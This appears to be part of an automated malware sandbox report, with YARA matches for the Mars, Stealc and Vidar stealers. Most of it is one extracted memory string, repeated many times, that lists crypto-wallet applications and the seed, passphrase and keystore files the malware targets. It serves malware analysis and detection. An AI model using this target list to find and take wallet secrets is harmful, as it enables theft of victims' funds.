Source: Yara match	File source: 0000000A.00000002.4122963198.0000000000961000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1879925828.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1921184541.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 12.2.2e80f9dd27.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1993800397.0000000000B01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1868074947.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1869262770.0000000001CBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7156, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2e80f9dd27.exe PID: 7924, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 12.2.2e80f9dd27.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1993800397.0000000000B01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1868074947.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7156, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
